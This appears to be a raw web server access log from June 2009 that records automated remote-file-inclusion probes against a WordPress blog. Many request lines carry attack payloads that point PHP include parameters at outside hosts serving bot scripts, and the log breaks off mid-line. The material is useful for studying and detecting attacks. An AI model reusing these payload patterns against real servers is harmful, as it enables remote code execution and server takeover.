//bbs//skin/zero_vote/ask_password.php?dir=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33635 "-" "Mozilla/5.0" 200.96.152.31 - - [22/Jun/2009:12:22:08 -0600] "GET //?mosConfig_absolute_path=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 738 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.96.152.31 - - [22/Jun/2009:12:31:47 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 735 "-" "Mozilla/3.0 (compatible; Indy Library)" 209.25.170.12 - - [22/Jun/2009:12:33:41 -0600] "GET //?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:12:33:42 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111938 "-" "-" 209.25.170.12 - - [22/Jun/2009:12:34:01 -0600] "GET /2009/06/04//index.php?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 774 "-" "-" 209.25.170.12 - - [22/Jun/2009:12:34:01 -0600] "GET //index.php?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 745 "-" "-" 209.25.170.12 - - [22/Jun/2009:12:34:01 -0600] "GET /2009/06/04//?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 753 "-" "-" 209.25.170.12 - - [22/Jun/2009:12:34:02 -0600] "GET /2009/06/04/?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 36671 "-" "-" 209.25.170.12 - - [22/Jun/2009:12:34:02 -0600] "GET /?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111964 "-" "-" 209.25.170.12 - - [22/Jun/2009:12:34:07 -0600] "GET //index.php?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:12:34:08 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 112306 "-" "-" 210.8.66.19 - - [22/Jun/2009:12:41:41 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 210.8.66.19 - - [22/Jun/2009:12:41:41 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 210.8.66.19 - - [22/Jun/2009:12:41:42 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 33662 "-" "Mozilla/5.0" 93.174.137.184 - - [22/Jun/2009:12:42:32 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 93.174.137.184 - - [22/Jun/2009:12:42:32 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 93.174.137.184 - - [22/Jun/2009:12:42:34 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 33662 "-" "Mozilla/5.0" 93.174.137.184 - - [22/Jun/2009:12:42:44 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 93.174.137.184 - - [22/Jun/2009:12:42:43 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 93.174.137.184 - - [22/Jun/2009:12:42:44 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 33662 "-" "Mozilla/5.0" 59.24.49.35 - - [22/Jun/2009:12:43:04 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 59.24.49.35 - - [22/Jun/2009:12:43:04 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 59.24.49.35 - - [22/Jun/2009:12:43:05 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 33662 "-" "Mozilla/5.0" 59.24.49.35 - - [22/Jun/2009:12:43:53 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 59.24.49.35 - - [22/Jun/2009:12:43:53 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 59.24.49.35 - - [22/Jun/2009:12:43:54 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 33662 "-" "Mozilla/5.0" 210.8.66.19 - - [22/Jun/2009:12:45:50 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 210.8.66.19 - - [22/Jun/2009:12:45:50 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 210.8.66.19 - - [22/Jun/2009:12:45:51 -0600] "GET //skin/zero_vote/login.php?dir=http://www.catchmag.fr//components/fx29id.txt?? HTTP/1.1" 404 33661 "-" "Mozilla/5.0" 209.25.170.12 - - [22/Jun/2009:13:01:32 -0600] "GET //?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:13:01:33 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 112206 "-" "-" 209.25.170.12 - - [22/Jun/2009:13:01:52 -0600] "GET /2009/06/04//index.php?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 774 "-" "-" 209.25.170.12 - - [22/Jun/2009:13:01:52 -0600] "GET /2009/06/04//?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 753 "-" "-" 209.25.170.12 - - [22/Jun/2009:13:01:52 -0600] "GET //index.php?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 745 "-" "-" 209.25.170.12 - - [22/Jun/2009:13:01:53 -0600] "GET /2009/06/04/?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 36639 "-" "-" 209.25.170.12 - - [22/Jun/2009:13:01:53 -0600] "GET /?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 112039 "-" "-" 209.25.170.12 - - [22/Jun/2009:13:01:57 -0600] "GET //index.php?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:13:01:57 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111930 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:10:56 -0600] "GET //?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:10:57 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111927 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:11:54 -0600] "GET /2009/06/04//index.php?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 774 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:11:55 -0600] "GET //index.php?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 745 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:11:55 -0600] "GET /?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111873 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:12:01 -0600] "GET //index.php?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:12:02 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 112032 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:14:13 -0600] "GET //?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:14:13 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 112016 "-" "-" 218.111.0.209 - - [22/Jun/2009:14:26:04 -0600] "GET /rfi.txt///skin/zero_vote/error.php?dir=http://www.katrinkurven.dk//plugins/search/id1.txt?? HTTP/1.1" 404 540 "-" "Mozilla/5.0" 218.111.0.209 - - [22/Jun/2009:14:26:04 -0600] "GET ///skin/zero_vote/error.php?dir=http://www.katrinkurven.dk//plugins/search/id1.txt?? HTTP/1.1" 302 794 "-" "Mozilla/5.0" 218.111.0.209 - - [22/Jun/2009:14:26:07 -0600] "GET ///skin/zero_vote/error.php?dir=http://www.katrinkurven.dk//plugins/search/id1.txt?? HTTP/1.1" 404 33689 "-" "Mozilla/5.0" 209.25.170.12 - - [22/Jun/2009:14:26:57 -0600] "GET //?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:26:58 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 112321 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:27:58 -0600] "GET /2009/06/04//index.php?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 774 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:27:58 -0600] "GET //index.php?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 745 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:27:59 -0600] "GET /2009/06/04//?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 753 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:27:59 -0600] "GET /2009/06/04/?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 36643 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:27:59 -0600] "GET /?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111825 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:28:04 -0600] "GET //index.php?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [22/Jun/2009:14:28:05 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111826 "-" "-" 212.61.146.242 - - [22/Jun/2009:14:30:32 -0600] "GET /index.php?sayfa=http://pokolake.land.ru/r.txt??? HTTP/1.1" 302 771 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)" 212.61.146.242 - - [22/Jun/2009:14:30:33 -0600] "GET /?sayfa=http://pokolake.land.ru/r.txt??? HTTP/1.1" 200 110763 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)" 66.249.68.34 - - [22/Jun/2009:14:30:47 -0600] "GET /?sayfa=http://pokolake.land.ru/r.txt??? HTTP/1.1" 200 15928 "-" "Mediapartners-Google" 66.249.68.34 - - [22/Jun/2009:14:30:47 -0600] "GET /?sayfa=http://pokolake.land.ru/r.txt??? HTTP/1.1" 200 111716 "-" "Mediapartners-Google" 212.61.146.242 - - [22/Jun/2009:14:31:59 -0600] "GET /index.php?sayfa=http://emotion-system.com/news.txt?? HTTP/1.1" 302 711 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)" 212.61.146.242 - - [22/Jun/2009:14:32:01 -0600] "GET /?sayfa=http://emotion-system.com/news.txt?? HTTP/1.1" 200 110947 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)" 66.249.68.34 - - [22/Jun/2009:14:32:04 -0600] "GET /?sayfa=http://emotion-system.com/news.txt?? HTTP/1.1" 200 111763 "-" "Mediapartners-Google" 210.166.218.188 - - [22/Jun/2009:14:49:04 -0600] "GET /rfi.txt//claroline/phpbb/page_tail.php?includePath=http://www.nupecampus2.uneb.br/imagens/campus/fx29id.txt?? HTTP/1.1" 404 558 "-" "Mozilla/5.0" 210.166.218.188 - - [22/Jun/2009:14:49:04 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://www.nupecampus2.uneb.br/imagens/campus/fx29id.txt?? HTTP/1.1" 302 812 "-" "Mozilla/5.0" 210.166.218.188 - - [22/Jun/2009:14:49:05 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://www.nupecampus2.uneb.br/imagens/campus/fx29id.txt?? HTTP/1.1" 404 33758 "-" "Mozilla/5.0" 211.206.120.187 - - [22/Jun/2009:14:57:37 -0600] "GET /rfi.txt%20%20///?_SERVER[DOCUMENT_ROOT]=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 302 799 "-" "Mozilla/5.0" 211.206.120.187 - - [22/Jun/2009:14:57:37 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 302 763 "-" "Mozilla/5.0" 211.206.120.187 - - [22/Jun/2009:14:57:39 -0600] "GET /rfi.txt%20%20///?_SERVERDOCUMENT_ROOT=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 404 33708 "-" "Mozilla/5.0" 211.206.120.187 - - [22/Jun/2009:14:57:39 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 200 110908 "-" "Mozilla/5.0" 211.206.120.187 - - [22/Jun/2009:15:13:57 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 404 533 "-" "Mozilla/5.0" 207.218.200.0 - - [22/Jun/2009:15:53:53 -0600] "GET /rfi.txt//claroline/tracking/userLog.php?rootSys=http://www.gendx.com//components/com_sef/1.txt? HTTP/1.1" 404 544 "-" "Mozilla/5.0" 207.218.200.0 - - [22/Jun/2009:15:53:53 -0600] "GET //claroline/tracking/userLog.php?rootSys=http://www.gendx.com//components/com_sef/1.txt? HTTP/1.1" 302 798 "-" "Mozilla/5.0" 207.218.200.0 - - [22/Jun/2009:15:53:54 -0600] "GET //claroline/tracking/userLog.php?rootSys=http://www.gendx.com//components/com_sef/1.txt? HTTP/1.1" 404 33796 "-" "Mozilla/5.0" 64.118.88.78 - - [22/Jun/2009:17:18:10 -0600] "GET /?sIncPath=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 302 735 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:17:18:12 -0600] "GET /?sIncPath=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 200 111614 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:17:18:14 -0600] "GET /?sIncPath=http://asianet.ru/themes/idd.txt?? HTTP/1.0" 302 735 "-" "Mozilla/5.0" 64.118.88.78 - - [22/Jun/2009:17:18:18 -0600] "GET /?sIncPath=http://asianet.ru/themes/id1.txt?? HTTP/1.1" 302 735 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:17:18:19 -0600] "GET /?sIncPath=http://asianet.ru/themes/id1.txt?? HTTP/1.1" 200 111864 "-" "libwww-perl/5.814" 201.232.54.48 - - [22/Jun/2009:17:18:42 -0600] "GET /rfi.txt//claroline/phpbb/page_tail.php?includePath=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 201.232.54.48 - - [22/Jun/2009:17:18:42 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 201.232.54.48 - - [22/Jun/2009:17:18:43 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 33650 "-" "Mozilla/5.0" 41.219.222.157 - - [22/Jun/2009:17:19:30 -0600] "GET /?sIncPath=http://www.foodntop.com/bbs/data/notice_1/castle.txt? HTTP/1.0" 302 791 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)" 41.219.222.157 - - [22/Jun/2009:17:19:32 -0600] "GET /?sIncPath=http://www.foodntop.com/bbs/data/notice_1/castle.txt? HTTP/1.0" 200 110676 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)" 41.219.222.157 - - [22/Jun/2009:17:19:34 -0600] "GET /wp-content/themes/atahualpa/js/ruthsarian_utilities.js HTTP/1.0" 200 17859 "/?sIncPath=http://www.foodntop.com/bbs/data/notice_1/castle.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SVR1; .NET CLR 1.1.4322)" 41.219.222.157 - - [22/Jun/2009:17:19:34 -0600] "GET /wp-content/themes/atahualpa/style.css HTTP/1.0" 200 56069 "/?sIncPath=http://www.foodntop.com/bbs/data/notice_1/castle.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SVR1; .NET CLR 1.1.4322)" 41.219.222.157 - - [22/Jun/2009:17:19:34 -0600] "GET /wp-content/themes/atahualpa/js/jquery-1.2.6.min.js HTTP/1.0" 200 56181 "/?sIncPath=http://www.foodntop.com/bbs/data/notice_1/castle.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SVR1; .NET CLR 1.1.4322)" 66.249.68.34 - - [22/Jun/2009:17:19:37 -0600] "GET /?sIncPath=http://www.foodntop.com/bbs/data/notice_1/castle.txt? HTTP/1.1" 200 14480 "-" "Mediapartners-Google" 66.249.68.34 - - [22/Jun/2009:17:19:39 -0600] "GET /?sIncPath=http://www.foodntop.com/bbs/data/notice_1/castle.txt? HTTP/1.1" 200 111760 "-" "Mediapartners-Google" 220.79.47.122 - - [22/Jun/2009:17:27:01 -0600] "GET /show_image_in_imgtag.php?mosConfig_absolute_path=http://www.neoeffect.co.kr/board//include/oil2.txt??? HTTP/1.1" 302 813 "-" "libwww-perl/5.79" 220.79.47.122 - - [22/Jun/2009:17:27:02 -0600] "GET /show_image_in_imgtag.php?mosConfig_absolute_path=http://www.neoeffect.co.kr/board//include/oil2.txt??? HTTP/1.1" 404 33777 "-" "libwww-perl/5.79" 220.79.47.122 - - [22/Jun/2009:17:27:07 -0600] "GET /show_image_in_imgtag.php?mosConfig_absolute_path=http://www.neoeffect.co.kr/board//include/oil2.txt??? HTTP/1.1" 302 813 "-" "libwww-perl/5.79" 220.79.47.122 - - [22/Jun/2009:17:27:08 -0600] "GET /show_image_in_imgtag.php?mosConfig_absolute_path=http://www.neoeffect.co.kr/board//include/oil2.txt??? HTTP/1.1" 404 33776 "-" "libwww-perl/5.79" 220.79.47.122 - - [22/Jun/2009:17:41:23 -0600] "GET /rfi.txt/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.neoeffect.co.kr/board//include/oil2.txt??? HTTP/1.1" 404 559 "-" "libwww-perl/5.79" 220.79.47.122 - - [22/Jun/2009:17:41:30 -0600] "GET /rfi.txt/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.neoeffect.co.kr/board//include/oil2.txt??? HTTP/1.1" 404 559 "-" "libwww-perl/5.79" 212.61.146.242 - - [22/Jun/2009:17:43:20 -0600] "GET /?sayfa=http://pokolake.land.ru/r.txt??? HTTP/1.1" 200 110662 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)" 64.118.88.78 - - [22/Jun/2009:17:46:33 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 567 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:17:46:33 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 302 821 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:17:46:34 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 33788 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:17:53:41 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 567 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:17:53:41 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 302 821 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:17:53:42 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 33851 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:01:08 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 567 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:01:08 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 302 821 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:01:09 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 33867 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:07:14 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 567 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:07:14 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 302 821 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:07:15 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 33843 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:10:16 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 567 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:10:16 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 302 821 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:10:17 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 33856 "-" "libwww-perl/5.814" 82.194.87.219 - - [22/Jun/2009:18:12:22 -0600] "GET ///?include_path=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 740 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:12:23 -0600] "GET /?include_path=http://www.laubrotel.com/letter/id? HTTP/1.1" 200 111063 "-" "libwww-perl/5.822" 64.118.88.78 - - [22/Jun/2009:18:14:02 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 567 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:14:02 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 302 821 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:18:14:03 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 33839 "-" "libwww-perl/5.814" 82.194.87.219 - - [22/Jun/2009:18:15:19 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 779 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:15:21 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33614 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:15:42 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 779 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:15:43 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33614 "-" "libwww-perl/5.822" 87.230.76.181 - - [22/Jun/2009:18:16:13 -0600] "GET /errors.php?error=http://www.x-pronet.com/board/test.txt?? HTTP/1.1" 302 768 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" 87.230.76.181 - - [22/Jun/2009:18:16:14 -0600] "GET /errors.php?error=http://www.x-pronet.com/board/test.txt?? HTTP/1.1" 404 33578 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" 82.194.87.219 - - [22/Jun/2009:18:16:24 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 779 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:16:25 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33614 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:17:35 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 779 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:17:36 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33613 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:17:46 -0600] "GET /phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 778 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:17:46 -0600] "GET /phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33613 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:18:18 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 779 "-" "libwww-perl/5.822" 82.194.87.219 - - [22/Jun/2009:18:18:19 -0600] "GET //phpbb/page_tail.php?includePath=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33613 "-" "libwww-perl/5.822" 195.9.3.10 - - [22/Jun/2009:18:19:03 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:03 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:04 -0600] "GET /2009/06/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:04 -0600] "GET /2009/06/04/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 790 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:04 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:03 -0600] "GET /2009/06/04/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 790 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:04 -0600] "GET /2009/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:04 -0600] "GET 